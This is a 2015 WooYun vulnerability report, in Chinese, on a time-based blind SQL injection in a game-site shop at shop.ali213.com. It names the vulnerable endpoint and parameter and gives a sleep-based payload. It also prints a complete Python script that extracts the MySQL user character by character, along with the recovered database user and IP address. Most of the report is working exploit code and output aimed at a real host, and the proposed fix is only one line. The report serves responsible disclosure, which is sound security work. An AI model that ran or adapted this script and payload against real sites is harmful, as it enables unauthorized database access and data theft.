当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132101

漏洞标题:游侠网某站存在SQL盲注

相关厂商:ali213.net

漏洞作者: 星明月稀

提交时间:2015-08-06 17:44

修复时间:2015-09-21 09:10

公开时间:2015-09-21 09:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-06: 细节已通知厂商并且等待厂商处理中
2015-08-07: 厂商已经确认,细节仅向厂商公开
2015-08-17: 细节向核心白帽子及相关领域专家公开
2015-08-27: 细节向普通白帽子公开
2015-09-06: 细节向实习白帽子公开
2015-09-21: 细节向公众公开

简要描述:

游侠网某站存在SQL盲注

详细说明:

问题站点:shop.ali213.com
注入点:

shop.ali213.com/getkey/old.html
getkeyoldForm[commodity_id]=sleep(if(1=1,5,0))&getkeyoldForm[nm_mm]=1&getkeyoldForm[nm_yh]=1


参数getkeyoldForm[commodity_id]可注入,基于时间盲注!

漏洞证明:

猜解user(),得:

fhyx_shop@60.191.72.167


sqli-script.png


借用@lijiejie脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import hashlib
import urllib
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print '[%s] Start to retrive MySQL User' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 24):
found=False
while found==False:
for payload in payloads:
timeout_count = 0
for j in range(1,3): # 2 times to confirm
try:
params = {
'getkeyoldForm[commodity_id]': "(if(ascii(mid(lower(user()),%s,1))=%s,sleep(3),0))" % (i, ord(payload)),
'getkeyoldForm[nm_mm]': 1,
'getkeyoldForm[nm_yh]': 1
}
body = urllib.urlencode(params)
conn = httplib.HTTPConnection('shop.ali213.com', timeout=3)
conn.request(method='POST',
url='/getkey/old.html',
body=body,
headers=headers)
conn.getresponse().read()
conn.close()
print '.',
break
except Exception, e:
timeout_count += 1
if timeout_count == 2:
user += payload
print '\n[In progress] now user is %s' % user
found = True
break

print '\nFinally, MySQL user is', user

修复方案:

过滤或转义

版权声明:转载请注明来源 星明月稀@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-07 09:08

厂商回复:

非常感谢您

最新状态:

暂无